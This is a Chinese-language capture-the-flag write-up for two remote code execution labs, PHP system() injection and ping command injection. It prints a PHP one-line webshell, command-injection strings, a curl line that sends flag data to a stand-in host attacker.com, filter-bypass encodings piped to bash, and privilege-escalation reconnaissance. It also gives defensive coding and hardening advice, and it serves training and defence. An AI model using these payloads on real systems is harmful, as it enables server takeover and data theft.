1. 项目概述
作为一名网络安全从业者,我经常需要通过各种靶场环境来练习和提升自己的技能。今天要分享的是两个典型的远程代码执行(RCE)靶场环境——RCE-labs-level3和RCE-labs-level4的实战解析。这两个靶场虽然难度不高,但非常有助于理解RCE漏洞的基本原理和利用方式。
RCE漏洞是Web安全中最危险的漏洞之一,攻击者可以通过它直接在服务器上执行任意命令。在真实的渗透测试中,我们经常会遇到各种形式的RCE漏洞,因此掌握其原理和利用方法至关重要。下面我将详细拆解这两个靶场的解题思路和具体操作步骤。
2. RCE-labs-level3解析与利用
2.1 漏洞原理分析
Level3靶场展示了一个典型的PHP代码执行漏洞。从题目描述和截图可以看出,系统通过system($_POST['a'])这样的代码直接执行用户输入的参数。这种写法极其危险,因为它没有任何过滤和验证,直接将用户输入作为系统命令执行。
在PHP中,system()函数用于执行外部程序并显示输出。当开发者直接将用户可控的输入(如$_POST、$_GET等超全局变量)传递给这类函数时,就形成了RCE漏洞。
2.2 漏洞利用方法
利用这个漏洞非常简单,我们只需要向目标URL发送POST请求,并在参数a中填入想要执行的命令即可。例如:
code复制POST /vulnerable.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
a=cat /flag
这个请求会让服务器执行cat /flag命令,返回flag文件的内容。同理,我们可以执行其他命令如ls查看目录内容,whoami查看当前用户等。
注意:在实际渗透测试中,直接使用
system()函数的情况已经很少见了,但类似的危险函数如exec()、passthru()、shell_exec()等仍然可能被不当使用。
2.3 实际应用场景
题目中提到"实际上我们一般在文件上传中上传一句话木马",这指的是另一种常见的RCE利用方式。当我们能够上传文件到服务器时,可以上传一个包含PHP代码的文件(俗称"一句话木马"),然后通过访问这个文件来执行命令。
一个典型的一句话木马内容如下:
php复制<?php @eval($_POST['cmd']); ?>
上传后,我们可以用类似的方式发送POST请求来执行命令:
code复制POST /upload/shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=system('cat /flag');
3. RCE-labs-level4解析与利用
3.1 漏洞原理分析
Level4靶场展示了一个命令注入漏洞。从截图可以看出,系统提供了一个IP地址查询功能,用户输入IP后系统会执行ping等网络诊断命令。
漏洞点在于系统直接将用户输入的IP参数拼接到系统命令中执行,而没有进行适当的过滤和验证。这使得攻击者可以通过注入特殊字符(如|、||、;等)来执行额外的命令。
3.2 漏洞利用方法
题目中展示了两种典型的命令注入方式:
-
使用
||操作符:code复制?ip=6.0.0.6||cat%20/flag这里
||是逻辑OR操作符,当前面的命令(ping 6.0.0.6)失败时,会执行后面的命令(cat /flag)。 -
使用
|操作符:code复制?ip=6.0.0.6|cat%20/flag这里
|是管道操作符,会将前面命令的输出作为后面命令的输入。即使前面的命令成功执行,后面的命令也会被执行。
在实际利用中,我们还可以使用其他分隔符:
;:顺序执行多个命令&&:当前面命令成功时执行后面命令\n(换行符):在某些情况下也能分隔命令
3.3 防御措施
要防止这类漏洞,开发者应该:
- 使用白名单验证用户输入,特别是对于IP地址这样的参数
- 避免直接将用户输入拼接到系统命令中
- 使用安全的API替代系统命令调用
- 对必须使用的系统命令进行严格的输入过滤和转义
4. 常见问题与排查技巧
4.1 命令执行无回显怎么办?
有时即使成功执行了命令,也可能看不到输出。这时可以尝试:
-
使用重定向将输出写入文件:
code复制a=cat /flag > /var/www/html/output.txt然后访问output.txt查看结果
-
使用DNS或HTTP请求外带数据:
code复制a=curl http://attacker.com/$(cat /flag|base64) -
尝试使用盲注技术,通过时间延迟等方式判断命令是否执行
4.2 特殊字符被过滤怎么办?
如果某些特殊字符被过滤,可以尝试:
-
使用编码绕过:
- Base64编码:
echo "Y2F0IC9mbGFn" | base64 -d | bash - Hex编码:
echo "636174202f666c6167" | xxd -r -p | bash
- Base64编码:
-
使用变量替换:
code复制a=/bin/c${HOME:1:1}t /fl${PATH:0:1}g -
使用通配符:
code复制a=cat /fla?
4.3 如何提升权限?
如果当前用户权限较低,可以尝试:
-
查找SUID文件:
code复制a=find / -perm -4000 2>/dev/null -
利用内核漏洞提权:
code复制a=uname -a然后根据内核版本搜索对应的提权exp
-
检查crontab任务,寻找可以利用的定时任务
5. 防御建议与安全开发实践
5.1 输入验证与过滤
-
对于必须使用系统命令的场景,应该:
- 使用白名单验证所有输入
- 限制允许的字符集
- 对特殊字符进行严格过滤
-
PHP示例:
php复制$ip = $_GET['ip']; if (!filter_var($ip, FILTER_VALIDATE_IP)) { die('Invalid IP address'); } $cmd = 'ping -c 4 ' . escapeshellarg($ip); system($cmd);
5.2 使用安全的替代方案
-
尽量使用语言内置函数替代系统命令:
- 用PHP的
file_get_contents()替代cat - 用
scandir()替代ls
- 用PHP的
-
如果必须执行命令:
- 使用
escapeshellarg()或escapeshellcmd() - 指定命令的完整路径
- 设置适当的执行环境
- 使用
5.3 服务器加固建议
-
配置php.ini禁用危险函数:
code复制disable_functions = exec,passthru,shell_exec,system,proc_open,popen -
使用open_basedir限制PHP访问范围
-
定期更新系统和应用软件
-
使用最小权限原则运行Web服务
6. 靶场练习的进阶建议
完成基础靶场后,可以尝试以下进阶练习:
-
尝试在不使用
cat命令的情况下读取文件内容 -
尝试在没有回显的情况下确认命令是否执行
-
尝试绕过简单的过滤规则
-
研究如何从RCE漏洞发展到获取完整shell
-
探索在受限环境下(如disable_functions)的利用方法
我在实际渗透测试中发现,很多RCE漏洞的利用都需要根据目标环境进行定制。有时看似简单的漏洞,在实际环境中可能需要多种技术组合才能成功利用。因此,多练习不同类型的靶场非常重要。